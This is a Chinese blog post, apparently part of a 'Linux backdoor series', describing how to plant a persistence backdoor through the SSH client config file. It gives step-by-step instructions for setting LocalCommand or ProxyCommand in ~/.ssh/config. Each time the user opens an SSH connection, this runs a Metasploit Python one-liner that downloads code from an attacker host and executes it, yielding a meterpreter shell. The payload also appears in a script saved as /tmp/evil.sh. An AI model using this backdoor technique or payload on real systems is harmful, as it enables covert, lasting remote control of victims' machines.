SSH Config 后门 ｜ Linux 后门系列

ssh 客户端配置文件加载顺序

命令行参数 > ~/.ssh/config > /etc/ssh/ssh_config

Ubuntu server 16.04 默认 /etc/ssh/ssh_config

# Host *
#   ForwardAgent no                        
#   ForwardX11 no    
#   RhostsRSAAuthentication no
#   RSAAuthentication yes
#   PasswordAuthentication yes
#   HostbasedAuthentication no
#   GSSAPIAuthentication no
#   GSSAPIDelegateCredentials no
#   GSSAPIKeyExchange no
#   GSSAPITrustDNS no
#   BatchMode no
#   CheckHostIP yes
#   AddressFamily any
#   ConnectTimeout 0
#   StrictHostKeyChecking ask
#   IdentityFile ~/.ssh/identity
#   IdentityFile ~/.ssh/id_rsa
#   IdentityFile ~/.ssh/id_dsa
#   IdentityFile ~/.ssh/id_ecdsa
#   IdentityFile ~/.ssh/id_ed25519
#   Port 22
#   Protocol 2
#   Cipher 3des
#   Ciphers aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc
#   MACs hmac-md5,hmac-sha1,[e-mail],hmac-ripemd160
#   EscapeChar ~
#   Tunnel no
#   TunnelDevice any:any
#   PermitLocalCommand no
#   VisualHostKey no
#   ProxyCommand ssh -q -W %h:%p gateway.example.com
#   RekeyLimit 1G 1h
#
# Uncomment this if you want to use .local domain
# Host *.local
#   CheckHostIP no

Host *
        GSSAPIAuthentication yes
# If this option is set to yes then remote X11 clients will have full access
# to the original X11 display. As virtually no X11 client supports the untrusted
# mode correctly we set this to yes.
        ForwardX11Trusted yes
# Send locale-related environment variables
        SendEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGES
        SendEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENT
        SendEnv LC_IDENTIFICATION LC_ALL LANGUAGE
        SendEnv XMODIFIERS

这里着重介绍两个参数，剩下的参数可以查看下面这个文档

SSH config file syntax and how-tos for configuring the OpenSSH client

LocalCommand

参数含义：当连接远程主机成功后，在本地计算机执行的命令

使用msf进行测试

1. msf设置监听

   python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.168.1.105:8080/i3mYH5hdtkO1gt', context=ssl._create_unverified_context());exec(r.read());"
   

   ubuntu server 16.04 64位 版本默认python为python3，所以这里将python改为python3

   python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.168.1.105:8080/i3mYH5hdtkO1gt', context=ssl._create_unverified_context());exec(r.read());"
   

1. 创建 ~/.ssh/config 如果.ssh目录不存在就创建这个目录,可以直接将 /etc/ssh/ssh_config 复制过来

2. 设置~/.ssh/config 中Host为*处设置 LocalCommand 参数为我们的msf恶意命令，同时设置 PermitLocalCommand 的值为 yes,并保存

3. ssh连接其他主机

   成功反弹shell

4. 成功获取 meterpreter shell

LocalCommand参数可用

ProxyCommand

连接主机过程中设置代理所使用的命令

重复过程不再赘述，仅写标题

1. msf设置监听

2. 创建 ~/.ssh/config 如果.ssh目录不存在就创建这个目录,可以直接将 /etc/ssh/ssh_config 复制过来

3. 创建恶意脚本文件 /tmp/evil.sh

   python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.168.1.105:8080/i3mYH5hdtkO1gt', context=ssl._create_unverified_context());exec(r.read());"
   nc $1 $2
   

4. 设置~/.ssh/config 中Host为*处设置 ProxyCommand 参数为执行我们的恶意脚本，并保存

5. ssh连接其他主机

6. 成功获取meterpreter shell

ProxyCommand 参数可用

---

往期文章：

alias后门 | Linux 后门系列

有态度，不苟同